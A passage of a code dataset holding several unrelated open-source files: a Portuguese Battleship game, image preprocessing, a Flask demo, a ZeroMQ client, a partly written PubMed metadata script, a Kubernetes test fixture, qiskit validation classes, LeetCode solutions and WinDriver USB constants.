acertados: { contador_c_p2 }\\n- Submarinos acertados: { contador_s_p2 }\")\n \n\n# Coordenadas de Ataque \ndef coord_atk(cam,jogador,tab):\n # definindo variáveis globais\n global contador_s_p1\n global contador_c_p1\n global contador_p_p1\n\n global contador_s_p2\n global contador_c_p2\n global contador_p_p2\n \n print(\"=-=\"*19)\n print(f\"Sua vez {jogador}, Informe as Coordenadas do Ataque!\")\n\n lin = int(input(\"Linha 1-10: \"))\n col = str(input(\"Coluna A-J: \").upper())\n\n #Coluna\n if col == 'A':\n col = 0\n if col == 'B':\n col = 1\n if col == 'C':\n col = 2\n if col == 'D':\n col = 3\n if col == 'E':\n col = 4\n if col == 'F':\n col = 5\n if col == 'G':\n col = 6\n if col == 'H':\n col = 7\n if col == 'I':\n col = 8\n if col == 'J':\n col = 9\n\n #Linha\n if lin == 1:\n lin = 0\n if lin == 2:\n lin = 1\n if lin == 3:\n lin = 2\n if lin == 4:\n lin = 3\n if lin == 5:\n lin = 4\n if lin == 6:\n lin = 5\n if lin == 7:\n lin = 6\n if lin == 8:\n lin = 7\n if lin == 9:\n lin = 8\n if lin == 10:\n lin = 9\n\n if (cam[lin][col] == \" \") or (cam[lin][col] == \"*\"):\n #tab[lin].insert(col,hitF)\n cam[lin][col] = \"*\" \n tab[lin][col] = \"*\"\n exibe_pontuacao() \n return False\n else:\n # conta acerto de submarino\n if cam[lin][col] == \"P\":\n # altera na matriz de exibição\n tab[lin][col] = \"P\" \n # adiciona ao contador do player que acertou\n if jogador == p1:\n contador_p_p1 += 1\n elif jogador == p2:\n contador_p_p2 += 1\n elif cam[lin][col] == \"C\":\n tab[lin][col] = \"C\" \n # adiciona ao contador do player que acertou\n \n if jogador == p1:\n contador_c_p1 += 1\n elif jogador == p2:\n contador_c_p2 += 1\n elif cam[lin][col] == \"S\":\n tab[lin][col] = \"S\" \n # adiciona ao contador do player que acertou\n if jogador == p1:\n contador_s_p1 += 1\n elif jogador == p2:\n contador_s_p2 += 1\n\n # transforma campo indisponivel na matriz de controle\n cam[lin][col] = \"*\" \n exibe_pontuacao()\n return True \n\ndef qtde_frotas_p1():\n return (contador_c_p1 + contador_p_p1 + contador_s_p1)\n\ndef qtde_frotas_p2():\n return (contador_c_p2 + contador_p_p2 + contador_s_p2)\n \n# Função de Manipulação Principal\ndef main(): \n menu()\n print(\"=-=\"*20) \n opcao = int(input(\"Escolha uma Opção: \"))\n #Opção Jogar\n if opcao == 1:\n global p1\n global p2\n\n print(\"=-=\"*20)\n p1 = input(\"Jogador 1 informe seu Nome: \").capitalize()\n p2 = input(\"Jogador 2 informe seu Nome: \").capitalize()\n \n print(\"=-=\"*20)\n op = input(\"Deseja jogar com a Frota Máxima? (s/n): \").upper()\n\n #Jogador 1 Setup\n gerar_matriz(campo1)\n gerar_matriz(tab_p1) \n inserir(campo1,p1,op)\n\n #Jogador 2 Setup\n gerar_matriz(campo2)\n gerar_matriz(tab_p2) \n inserir(campo2,p2,op)\n\n\n qtd_s_p1 = 0\n qtd_c_p1 = 0\n qtd_p_p1 = 0\n qtd_s_p2 = 0\n qtd_c_p2 = 0\n qtd_p_p2 = 0\n\n\n for linha in campo1:\n for coluna in linha:\n if \"S\" in coluna:\n qtd_s_p1 += 1\n if \"C\" in coluna:\n qtd_c_p1 += 1\n if \"P\" in coluna:\n qtd_p_p1 += 1\n \n for linha in campo2:\n for coluna in linha:\n if \"S\" in coluna:\n qtd_s_p2 += 1\n if \"C\" in coluna:\n qtd_c_p2 += 1\n if \"P\" in coluna:\n qtd_p_p2 += 1\n\n #Soma o número de frotas contidos na Matriz do Jogador 1\n soma_p1 = (qtd_c_p1 + qtd_s_p1 + qtd_p_p1)\n\n #Soma o número de frotas contidos na Matriz do Jogador 2\n soma_p2 = (qtd_c_p2 + qtd_s_p2 + qtd_p_p2) \n\n #Modo de Testes\n print(\"=-=\"*20)\n debug = input(\"Deseja ativar o Modo Testes? (s/n): \").upper()\n if debug == \"S\":\n print(\"\\n ..:: MODO DE TESTES ATIVADO ::..\\n\")\n debug = True\n else:\n print(\"\\n ..:: VAMOS COMEÇAR ::..\\n\") \n debug = False\n \n while True:\n x = 0\n y = 0\n ganhou = 0\n\n #Jogador 1 Loop \n while x == 0 and ganhou == 0: \n if debug == True: \n tabuleiro(campo2)\n res = coord_atk(campo2,p1,campo2)\n else:\n tabuleiro(tab_p2)\n res = coord_atk(campo2,p1,tab_p2)\n \n if res == False: \n x = 1\n print(\"=-=\"*19)\n print(f\" Você errou {p1}, o seu tiro atingiu a Água :( \")\n print(\"=-=\"*19)\n else:\n print(\"=-=\"*19)\n print(f\" Fogo! Bela jogada {p1} você acertou e continua jogando! \")\n print(\"=-=\"*19)\n\n if qtde_frotas_p1() == soma_p2:\n ganhou = 1\n \n #Jogador 2 Loop\n while y == 0 and ganhou == 0:\n if debug == True: \n tabuleiro(campo1)\n res = coord_atk(campo1,p2,campo1)\n else:\n tabuleiro(tab_p1)\n res = coord_atk(campo1,p2,tab_p1)\n \n if res == False: \n y = 1\n print(\"=-=\"*19)\n print(f\" Você errou {p2}, o seu tiro atingiu a Água :( \")\n print(\"=-=\"*19)\n else:\n print(\"=-=\"*19)\n print(f\" Fogo! Bela jogada {p2} você acertou e continua jogando! \")\n print(\"=-=\"*19)\n\n if qtde_frotas_p1() == soma_p2:\n ganhou = 1\n\n if qtde_frotas_p1() == soma_p2:\n print(f\"Parabéns { p1 }, você venceu!\")\n break\n elif qtde_frotas_p2() == soma_p1:\n print(f\"Parabéns { p2 }, você venceu!\")\n break\n \n #Opção Créditos\n if opcao == 2:\n print(\"\\nEste jogo foi Desenvolvido por: \\n- Lucas Olegário\\n- Messias Souza\\n- Andréia Berto \\n\")\n return main()\n \n \nmain()","sub_path":"battle.py","file_name":"battle.py","file_ext":"py","file_size_in_byte":12116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"362896724","text":"import os\nimport pickle\nimport numpy as np\nfrom torchvision import transforms\nfrom PIL import Image\nimport torch\n\nimport pdb\n\n\ndef preprocess_image(data_type, data_path):\n files_dir = os.path.join(data_path, data_type)\n files_name = os.listdir(files_dir)\n\n trans = transforms.Compose([\n transforms.Resize((224, 224)),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485,0.456,0.406], std=[0.229,0.224,0.225])\n ])\n\n data = {}\n for file in files_name:\n images_path = os.path.join(files_dir, file)\n all_image = os.listdir(images_path)\n video_out = []\n for image_name in all_image:\n image = os.path.join(images_path, image_name)\n image = Image.open(image)\n image = trans(image)\n video_out.append(image)\n video_out = torch.stack(video_out)\n data[file] = {'feature':video_out} \n return data \n\n\nif __name__ == '__main__':\n path = '../dataset/raw_data/vision/'\n dataset = preprocess_image('test', path)\n pdb.set_trace()","sub_path":"data_utils/vision_prec.py","file_name":"vision_prec.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"396337019","text":"from flask import Flask, url_for, request, make_response, redirect, abort, jsonify, session\nimport os\nimport click\n\napp = Flask(__name__)\napp.secret_key = os.getenv('SECRET_KEY', 'secret string')\n\n\n# @app.before_request\n# def init():\n# return '123'\n\n\n@app.route('/')\n@app.route('/hello')\ndef hello():\n name = request.args.get('name')\n if name is None:\n name = request.cookies.get('name', 'Human')\n res = \"

Hello, {}

\".format(name)\n if 'logged_in' in session:\n res += '[Authenticated]'\n else:\n res += '[Not Authenticated]'\n return res\n\n\n@app.route('/login')\ndef login():\n session['logged_in'] = True\n return redirect(url_for('hello'))\n\n\n@app.route('/user/')\ndef user(user_id):\n return \"Hello %d!!\" % user_id\n\n\n@app.route('/profile')\ndef user_profile():\n return url_for('user', user_id=1, _external=True)\n\n\n@app.route('/welcome')\ndef welcome():\n res = make_response('welcome', 302)\n res.headers['Location'] = 'https://www.baidu.com'\n return res\n\n\n@app.route('/colors/')\ndef colors(color):\n return \"You choice {}\".format(color)\n\n\n@app.route('/404')\ndef not_found():\n abort(404)\n\n\n@app.route('/foo')\ndef foo():\n return jsonify(username=\"jack\", email=\"ggotost@gmail.com\"), 500\n\n\n@app.route('/set/')\ndef set_cookie(name):\n res = make_response(redirect('index'))\n res.set_cookie('name', name)\n return res\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"323783340","text":"import zmq\n\ncontext=zmq.Context()\n\nprint('Connecting to hello world server...')\nsocket=context.socket(zmq.REQ)\nsocket.connect('tcp://localhost:5555')\n\nfor request in range(10):\n print(f'Sending request {request} ...')\n socket.send(b'Hello')\n\n message=socket.recv()\n print(f'Received reply {request} [{message}]')","sub_path":"zeromq/client_server/zmq_basic_tutorial/client_zmq.py","file_name":"client_zmq.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"89269083","text":"from Bio import Entrez, Medline\r\nimport pandas as pd\r\nimport csv\r\nimport logging\r\nfrom utils.logger import logger_initialization\r\nfrom utils.parse import parse\r\nimport argparse\r\n\r\n\r\ndef output_author_information(info, auth_file, paper_file, med_file):\r\n\r\n logging.getLogger('regular').debug('pmid = {0}'.format(info['PMID']))\r\n logging.getLogger('regular').debug('title = {0}'.format(info['TI']))\r\n logging.getLogger('regular').debug('abstract = {0}'.format(info['AB']))\r\n logging.getLogger('regular').debug('publication type = {0}'.format(info['PT']))\r\n\r\n # loop through each of the authors and assign their roles and affiliations\r\n for author_index, author in enumerate(info['AUS']):\r\n role = ''\r\n # Assign the authors' roles\r\n # if less than 2 authors then they are considered \"Chief Authors\"\r\n if len(info['AUS']) <= 1:\r\n role = 'CA'\r\n # If a person is after the first two authors and it'snt the last author its considered\r\n # \"Ordinary Author\"\r\n elif author_index > 1 and author_index != len(info['AUS']):\r\n role = 'OA'\r\n # else \"Principal Investigator)\r\n elif author_index == len(info['AUS']):\r\n role = 'PI'\r\n\r\n # split to check if multiple affiliations\r\n affiliations = info['AD'].split(';')\r\n\r\n # Assign the author organization\r\n for affiliation in affiliations:\r\n if 'children' in affiliation.lower():\r\n author_information['CHOP'].apped(1)\r\n author_information['PENN'].apped(0)\r\n elif 'perelman' in affiliation.lower() or 'school of medicine' in affiliation.lower() or \\\r\n 'pennsylvania' in affiliation.lower():\r\n author_information['PENN'].apped(1)\r\n author_information['CHOP'].apped(0)\r\n\r\n auth_file.writeline(info['PMID'], info['AuthorID'], info['CHOP'], )\r\n\r\n\r\n logging.getLogger('regular').debug('publication type = {0}'.format(info['ROLE']))\r\n\r\n\r\ndef obtain_descriptions():\r\n # contains all the metadata elements on the author level: Pubmed unique Identifier number(PMID), AuthorID (as a\r\n # combination of the author’s last name, first name, and initials), institution: chop=0, Penn=1, Role: Chief Author\r\n # (CA) Ordinary Author (OA) or Principal Author (PA) and the author's affiliation\r\n author_record_df = pd.DataFrame(columns=['PMID', 'AuthorID', 'CHOP', 'PENN', 'ROLE', 'Affiliation'])\r\n # contains all the metadata elements on the paper level: Pubmed unique Identifier number(PMID), Title, Abstract,\r\n # Year, Month, AuthorList, SubjectList, date\r\n paper_record_df = pd.DataFrame(columns=['PMID', 'Title', 'Abstract', 'Year', 'Month', 'AuthorList', 'SubjectList',\r\n 'Date'])\r\n # contains all the metadata of the medical information: Pubmed unique Identifier number(PMID), Primary Medical\r\n # Subject Header (MESH) and the description ID\r\n medical_record_df = pd.DataFrame(columns=['PMID', 'MESH', 'Description'])\r\n\r\n # get the description, related to the MESH, in the 2017MeshTree.csv File\r\n mesh_tree_file_object = open(r'C:\\Users\\GUERRAMARJ\\PycharmProjects\\Pubmed\\template\\2017MeshTree.csv')\r\n file_reader = csv.reader(mesh_tree_file_object, delimiter=',')\r\n mesh_description_dict = dict()\r\n\r\n logging.getLogger('regular').info('processing each record and obtaining relevant information')\r\n for line in file_reader:\r\n # split_line[0] = Number, split_line[1] = Description and split_line[2] = MESH\r\n mesh_description_dict[line[2]] = line[1]\r\n mesh_tree_file_object.close()\r\n\r\n return author_record_df, paper_record_df, medical_record_df, mesh_description_dict\r\n\r\n\r\ndef main():\r\n # get the the path for the input file argument\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"-l\", \"--log\", dest=\"logLevel\", choices=['DEBUG', 'INFO', 'ERROR'], type=str.upper,\r\n help=\"Set the logging level\")\r\n args = parser.parse_args()\r\n\r\n logger_initialization(log_level=args.logLevel)\r\n\r\n logging.getLogger('line.regular.time.line').info('Running Recommendation System script')\r\n\r\n # import data from file\r\n logging.getLogger('regular').info('reading data from file')\r\n\r\n # Entrez (http://www.ncbi.nlm.nih.gov/Entrez) is a data retrieval system that provides users access to NCBI’s\r\n # databases such as PubMed, GenBank, GEO, and many others\r\n # Use the mandatory email parameter so the NCBI can contact you if there is a proble\r\n Entrez.email = \"guerramarj@email.chop.edu\" # Always tell NCBI who you are\r\n # logging.getLogger('regular').info('searching pubmed for the CHOP and UPENN authors')\r\n # handle = Entrez.esearch(db=\"pubmed\", retmax=50000, idtype=\"esearch\", mindate=\"2014/01/01\", maxdate=\"2017/05/01\",\r\n # term=\"Perelman School of Medicine[Affiliation] OR Children's Hospital of \"\r\n # \"Philadelphia[Affiliation] OR University of Pennsylvania School of \"\r\n # \"Medicine[Affiliation] OR School of Medicine University of Pennsylvania[Affiliation]\",\r\n # usehistory=\"y\")\r\n # search_results = Entrez.read(handle)\r\n # handle.close()\r\n # # obtaining the list of relevant PMIDs\r\n # id_list = search_results[\"IdList\"]\r\n #\r\n # # get all the record based on the PMIDs\r\n # logging.getLogger('regular').info('getting relevant authors\\' records based on PMIDs')\r\n # fetch_records_handle = Entrez.efetch(db=\"pubmed\", id=id_list, retmode=\"text\", rettype=\"medline\")\r\n # # need to read all the data from the handle and store in a file because if we just read line by line from the\r\n # # generator and the internet connection is not strong, then we run into http errors:\r\n # # http.client.IncompleteRead: IncompleteRead(0 bytes read)\r\n # logging.getLogger('regular').info('storing authors\\' records on local file')\r\n # with open(\"results.xml\", \"w\") as out_handle:\r\n # out_handle.write(fetch_records_handle.read(validate=True))\r\n # # the results are now in the results.xml file and the original handle has had all of its data extracted\r\n # # (so we close it)\r\n # fetch_records_handle.close()\r\n\r\n logging.getLogger('regular').info('reading result files')\r\n records_handle = open(\"results.xml\")\r\n fetch_records = parse(records_handle)\r\n\r\n # initializing variables\r\n mesh_description_dict = obtain_descriptions()\r\n\r\n # PMID=PubMed Unique Identifier, TI=Title, AB=Abstract, AD=Affiliation, FAU=Full Author, MH=MeSH Terms,\r\n # PT=Publication Type\r\n # for more information, look at the abbreviations in the /template/abbreviations.txt file\r\n author_information = {'PMID': '', 'TI': '', 'AB': '', 'FAU': '', 'AU': '', 'MH': '', 'PT': '', 'AD': ''}\r\n\r\n author_list = list()\r\n affiliation_list = list()\r\n mesh_list = list()\r\n\r\n first_record = True\r\n\r\n # get the relevant information for each record\r\n for record_index, line in enumerate(fetch_records):\r\n logging.getLogger('regular').debug('line index = {0}'.format(record_index))\r\n\r\n # remove new line delimiter\r\n line = line.replace('\\n', '')\r\n\r\n # skip if empty string\r\n if not line:\r\n continue\r\n\r\n # getting the key (PMID, TITLE, ABSTRACT, etc) and its value\r\n key, value = line.split('- ')\r\n # remove spaces\r\n key.replace(' ', '')\r\n\r\n # check if key is relevant to the information of interest\r\n if key not in author_information.keys():\r\n continue\r\n\r\n if key == 'PMID':\r\n # if it is not the first record, that means that it is a new record and therefore needs to reset all the\r\n # variables\r\n if not first_record:\r\n author_information['AU'] = author_list\r\n author_information['AD'] = affiliation_list\r\n author_information['MH'] = mesh_list\r\n\r\n logging.getLogger('regular').debug('authors\\' information = {0}'.format(author_information))\r\n\r\n # function to print's the author's information to the relevant files\r\n # output_author_information(author_information)\r\n\r\n author_information = dict['PMID':'', 'TI':'', 'AB':'', 'FAU':'', 'AU', 'ROLE':'', 'MH':'', 'PT':'',\r\n 'AD':'']\r\n\r\n author_list = list()\r\n affiliation_list = list()\r\n\r\n # there might be multiple authors per PMID and therefore we need to add them to a list\r\n if key == 'FAU':\r\n author_list.append(value)\r\n # each author might have one or more affiliations\r\n elif key == 'AD':\r\n affiliation_list.append(value)\r\n # there might be multiple mesh terms\r\n elif key == 'MH':\r\n # some of the mesh terms might have an * that needs to be removed\r\n mesh_list.append(value.replace('*', ''))\r\n\r\n # add the authors' information\r\n author_information[key] = value\r\n\r\n # changing first record flag\r\n first_record = False\r\n\r\n logging.getLogger('line.regular.time.line').info('Recommendation System script finished running successfully.')\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n\r\n\r\n","sub_path":"deprecated/recommendation_system_notonline.py","file_name":"recommendation_system_notonline.py","file_ext":"py","file_size_in_byte":9380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"404735893","text":"import logging\nimport pytest\nimport random\nimport string\n\nfrom lightkube import KubeConfig, Client\nfrom lightkube.resources.core_v1 import Namespace\nfrom lightkube.models.meta_v1 import ObjectMeta\n\n# Quick hack to set `trust_env=False` on the httpx client,\n# so that it ignores environment *_proxy settings.\n# Issue with lightkube here: https://github.com/gtsystem/lightkube/issues/19\nfrom lightkube.core.generic_client import GenericClient\nfrom lightkube.config.client_adapter import httpx_parameters\nfrom lightkube.config.kubeconfig import SingleConfig\nimport httpx\n\n\ndef CustomClient(config: SingleConfig, timeout: httpx.Timeout) -> httpx.Client:\n return httpx.Client(trust_env=False, **httpx_parameters(config, timeout))\n\n\nGenericClient.AdapterClient = staticmethod(CustomClient)\n# -------------------------------------------------------------------------------------------\n\nlog = logging.getLogger(__name__)\n\n\n@pytest.fixture(scope=\"module\")\n@pytest.mark.asyncio\nasync def kubernetes(ops_test):\n kubeconfig_path = ops_test.tmp_path / \"kubeconfig\"\n retcode, stdout, stderr = await ops_test.run(\n \"juju\",\n \"scp\",\n \"-m\",\n ops_test.model_full_name,\n \"kubernetes-master/leader:config\",\n kubeconfig_path,\n )\n if retcode != 0:\n log.error(f\"retcode: {retcode}\")\n log.error(f\"stdout:\\n{stdout.strip()}\")\n log.error(f\"stderr:\\n{stderr.strip()}\")\n pytest.fail(\"Failed to copy kubeconfig from kubernetes-master\")\n\n namespace = (\n \"test-kubernetes-master-integration-\"\n + random.choice(string.ascii_lowercase + string.digits) * 5\n )\n config = KubeConfig.from_file(kubeconfig_path)\n kubernetes = Client(\n config=config.get(context_name=\"juju-context\"), namespace=namespace\n )\n namespace_obj = Namespace(metadata=ObjectMeta(name=namespace))\n kubernetes.create(namespace_obj)\n yield kubernetes\n kubernetes.delete(Namespace, namespace)\n","sub_path":"tests/integration/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"282083813","text":"# -*- coding: utf-8 -*-\n\n# Copyright 2018, IBM.\n#\n# This source code is licensed under the Apache License, Version 2.0 found in\n# the LICENSE.txt file in the root directory of this source tree.\n\n\"\"\"Building blocks for Qiskit validated classes.\n\nThis module provides the ``BaseSchema`` and ``BaseModel`` classes as the main\nbuilding blocks for defining objects (Models) that conform to a specification\n(Schema) and are validated at instantiation, along with providing facilities\nfor being serialized and deserialized.\n\nImplementors are recommended to subclass the two classes, and \"binding\" them\ntogether by using ``bind_schema``::\n\n class PersonSchema(BaseSchema):\n name = String(required=True)\n\n @bind_schema(PersonSchema)\n class Person(BaseModel):\n pass\n\"\"\"\n\nfrom functools import partial, wraps\nfrom types import SimpleNamespace\n\nfrom marshmallow import ValidationError\nfrom marshmallow import Schema, post_dump, post_load, fields\nfrom marshmallow.utils import is_collection\n\nfrom .fields import BasePolyField\n\n\nclass BaseSchema(Schema):\n \"\"\"Base class for Schemas for validated Qiskit classes.\n\n Provides convenience functionality for the Qiskit common use case:\n\n * deserialization into class instances instead of dicts.\n * handling of unknown attributes not defined in the schema.\n\n Attributes:\n model_cls (type): class used to instantiate the instance. The\n constructor is passed all named parameters from deserialization.\n \"\"\"\n\n model_cls = SimpleNamespace\n\n @post_dump(pass_original=True)\n def dump_additional_data(self, valid_data, original_data):\n \"\"\"Include unknown fields after dumping.\n\n Unknown fields are added with no processing at all.\n\n Args:\n valid_data (dict): data collected and returned by ``dump()``.\n original_data (object): object passed to ``dump()`` in the first\n place.\n\n Returns:\n dict: the same ``valid_data`` extended with the unknown attributes.\n\n Inspired by https://github.com/marshmallow-code/marshmallow/pull/595.\n \"\"\"\n additional_keys = set(original_data.__dict__) - set(valid_data)\n for key in additional_keys:\n valid_data[key] = getattr(original_data, key)\n return valid_data\n\n @post_load(pass_original=True)\n def load_additional_data(self, valid_data, original_data):\n \"\"\"Include unknown fields after load.\n\n Unknown fields are added with no processing at all.\n\n Args:\n valid_data (dict): validated data returned by ``load()``.\n original_data (dict): data passed to ``load()`` in the first place.\n\n Returns:\n dict: the same ``valid_data`` extended with the unknown attributes.\n\n Inspired by https://github.com/marshmallow-code/marshmallow/pull/595.\n \"\"\"\n additional_keys = set(original_data) - set(valid_data)\n for key in additional_keys:\n valid_data[key] = original_data[key]\n return valid_data\n\n @post_load\n def make_model(self, data):\n \"\"\"Make ``load`` return a ``model_cls`` instance instead of a dict.\"\"\"\n return self.model_cls(**data)\n\n\nclass _SchemaBinder:\n \"\"\"Helper class for the parametrized decorator ``bind_schema``.\"\"\"\n\n def __init__(self, schema_cls):\n \"\"\"Get the schema for the decorated model.\"\"\"\n self._schema_cls = schema_cls\n\n def __call__(self, model_cls):\n \"\"\"Augment the model class with the validation API.\n\n See the docs for ``bind_schema`` for further information.\n \"\"\"\n # Check for double binding of schemas.\n if self._schema_cls.__dict__.get('model_cls', None) is not None:\n raise ValueError(\n 'The schema {} can not be bound twice. It is already bound to '\n '{}. If you want to reuse the schema, use '\n 'subclassing'.format(self._schema_cls, self._schema_cls.model_cls))\n\n # Set a reference to the Model in the Schema, and viceversa.\n self._schema_cls.model_cls = model_cls\n model_cls.schema = self._schema_cls()\n\n # Append the methods to the Model class.\n model_cls.to_dict = self._to_dict\n model_cls.from_dict = classmethod(self._from_dict)\n model_cls._validate = self._validate\n model_cls.__init__ = self._validate_after_init(model_cls.__init__)\n\n # Add a Schema that performs minimal validation to the Model.\n model_cls.shallow_schema = self._create_shallow_schema(self._schema_cls)\n\n return model_cls\n\n def _create_shallow_schema(self, schema_cls):\n \"\"\"Create a Schema with minimal validation for compound types.\n\n\n This is a helper for performing the initial validation when\n instantiating the Model via **kwargs. It works on the assumption that\n **kwargs will contain:\n * for compound types (`Nested`, `BasePolyField`), it will already\n contain `BaseModels`, which should have been validated earlier\n (during _their_ instantiation), and only type checking is performed.\n * for `Number` and `String` types, both serialized and deserialized\n are equivalent, and the shallow_schema will try to serialize in\n order to perform stronger validation.\n * for the rest of fields (the ones where the serialized and deserialized\n data is different), it will contain _deserialized_ types that are\n passed through.\n\n The underlying idea is to be able to perform validation (in the schema)\n at only the first level of the object, and at the same time take\n advantage of validation during **kwargs instantiation as much as\n possible (mimicking `.from_dict()` in that respect).\n\n Returns:\n BaseSchema: a copy of the original Schema, overriding the\n ``_deserialize()`` call of its fields.\n \"\"\"\n shallow_schema = schema_cls()\n for _, field in shallow_schema.fields.items():\n if isinstance(field, fields.Nested):\n field._deserialize = partial(self._overridden_nested_deserialize, field)\n elif isinstance(field, BasePolyField):\n field._deserialize = partial(self._overridden_basepolyfield_deserialize, field)\n elif not isinstance(field, (fields.Number, fields.String)):\n field._deserialize = partial(self._overridden_field_deserialize, field)\n return shallow_schema\n\n @staticmethod\n def _overridden_nested_deserialize(field, value, _, data):\n \"\"\"Helper for minimal validation of fields.Nested.\"\"\"\n if field.many and not is_collection(value):\n field.fail('type', input=value, type=value.__class__.__name__)\n\n if not field.many:\n value = [value]\n\n for v in value:\n if not isinstance(v, field.schema.model_cls):\n raise ValidationError(\n 'Not a valid type for {}.'.format(field.__class__.__name__),\n data=data)\n return data\n\n @staticmethod\n def _overridden_basepolyfield_deserialize(field, value, _, data):\n \"\"\"Helper for minimal validation of fields.BasePolyField.\"\"\"\n if not field.many:\n value = [value]\n\n for v in value:\n schema = field.serialization_schema_selector(v, data)\n if not schema:\n raise ValidationError(\n 'Not a valid type for {}.'.format(field.__class__.__name__),\n data=data)\n return data\n\n @staticmethod\n def _overridden_field_deserialize(field, value, attr, data):\n \"\"\"Helper for validation of generic Field.\"\"\"\n # Attempt to serialize, in order to catch validation errors.\n field._serialize(value, attr, data)\n\n # Propagate the original value upwards.\n return value\n\n @staticmethod\n def _to_dict(instance):\n \"\"\"Serialize the model into a Python dict of simple types.\"\"\"\n data, errors = instance.schema.dump(instance)\n if errors:\n raise ValidationError(errors)\n return data\n\n @staticmethod\n def _validate(instance):\n \"\"\"Validate the internal representation of the instance.\"\"\"\n errors = instance.schema.validate(instance.to_dict())\n if errors:\n raise ValidationError(errors)\n\n @staticmethod\n def _from_dict(decorated_cls, dict_):\n \"\"\"Deserialize a dict of simple types into an instance of this class.\"\"\"\n data, errors = decorated_cls.schema.load(dict_)\n if errors:\n raise ValidationError(errors)\n return data\n\n @staticmethod\n def _validate_after_init(init_method):\n \"\"\"Add validation after instantiation.\"\"\"\n\n @wraps(init_method)\n def _decorated(self, **kwargs):\n errors = self.shallow_schema.validate(kwargs)\n if errors:\n raise ValidationError(errors)\n\n init_method(self, **kwargs)\n\n return _decorated\n\n\ndef bind_schema(schema):\n \"\"\"Class decorator for adding schema validation to its instances.\n\n Instances of the decorated class are automatically validated after\n instantiation and they are augmented to allow further validations with the\n private method ``_validate()``.\n\n The decorator also adds the class attribute ``schema`` with the schema used\n for validation, along with a class attribute ``shallow_schema`` used for\n validation during instantiation.\n\n To ease serialization/deserialization to/from simple Python objects,\n classes are provided with ``to_dict`` and ``from_dict`` instance and class\n methods respectively.\n\n The same schema cannot be bound more than once. If you need to reuse a\n schema for a different class, create a new schema subclassing the one you\n want to reuse and leave the new empty::\n\n class MySchema(BaseSchema):\n title = String()\n\n class AnotherSchema(MySchema):\n pass\n\n @bind_schema(MySchema):\n class MyModel(BaseModel):\n pass\n\n @bind_schema(AnotherSchema):\n class AnotherModel(BaseModel):\n pass\n\n Raises:\n ValueError: when trying to bind the same schema more than once.\n\n Return:\n type: the same class with validation capabilities.\n \"\"\"\n return _SchemaBinder(schema)\n\n\nclass BaseModel(SimpleNamespace):\n \"\"\"Base class for Models for validated Qiskit classes.\"\"\"\n pass\n","sub_path":"qiskit/validation/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"582011940","text":"class Solution:\n def mostCompetitive(self, nums, k):\n attemptYouCanTry = len(nums) - k\n st = []\n for n in nums:\n while len(st) > 0 and st[-1] > n and attemptYouCanTry > 0:\n st.pop()\n attemptYouCanTry -= 1\n st.append(n)\n\n return st[:k]\n","sub_path":"LeetCode/1673. Find the Most Competitive Subsequence.py","file_name":"1673. Find the Most Competitive Subsequence.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"43126156","text":"\"\"\"\nGiven a binary tree, you need to compute the length of the diameter of the tree. The diameter of a binary tree is the length of the longest path between any two nodes in a tree. This path may or may not pass through the root.\n\nExample:\nGiven a binary tree\n 1\n / \\\n 2 3\n / \\ \n 4 5 \nReturn 3, which is the length of the path [4,2,1,3] or [5,2,1,3].\n\nNote: The length of path between two nodes is represented by the number of edges between them\n\n\nReferecne: \nhttps://www.geeksforgeeks.org/diameter-of-a-binary-tree-in-on-a-new-method/\nhttps://practice.geeksforgeeks.org/problems/diameter-of-binary-tree/1\n\t\n\"\"\"\n# Python3 program to \n# your task is to complete this function\n\n\n#Driver Code\nclass Node:\n\tdef __init__(self, data):\n\t\tself.data = data;\n\t\tself.left = None\n\t\tself.right = None\n\n# Function to find height of a tree \ndef height(root, ans):\n\tif(root == None):\n\t\treturn 0\n\t\n\tleft_height = height(root.left, ans)\n\tright_height = height(root.right, ans)\n\t\n\t# update the answer, because diameter \n # of a tree is nothing but maximum \n # value of (left_height + right_height + 1) \n # for each node \n\tans[0] = max(ans[0], 1 + left_height + right_height)\n\t\t\n\treturn 1 + max(left_height , right_height)\n\t\n# Computes the diameter of binary \n# tree with given root.\ndef diameter(root):\n\tif(root == None):\n\t\treturn 0\n\tans = [-999999999999] # This will store the final answer \n\theight_of_tree = height(root, ans)\n\treturn ans[0]\n\t\t\nif __name__ == '__main__':\n\troot = Node(1)\n\troot.left = Node(2)\n\troot.right = Node(3)\n\troot.left.left = Node(4)\n\troot.left.right = Node(5)\n\t\n\tprint(\"Diameter is\", diameter(root))","sub_path":"30-day-leetcoding-challenge/Week 2/DiameterofBinaryTree.py","file_name":"DiameterofBinaryTree.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"435106462","text":"from windrvr import *\n\nif \"linux\" in sys.platform:\n PRCHANDLE = c_int \n\n# USB_PIPE_TYPE\nPIPE_TYPE_CONTROL = 0\nPIPE_TYPE_ISOCHRONOUS = 1\nPIPE_TYPE_BULK = 2\nPIPE_TYPE_INTERRUPT = 3\n\nWD_USB_MAX_PIPE_NUMBER = 32\nWD_USB_MAX_ENDPOINTS = WD_USB_MAX_PIPE_NUMBER\nWD_USB_MAX_INTERFACES = 30\nWD_USB_MAX_ALT_SETTINGS = 255\n\n#WDU_DIR\nWDU_DIR_IN = 1\nWDU_DIR_OUT = 2\nWDU_DIR_IN_OUT = 3\n\n# USB 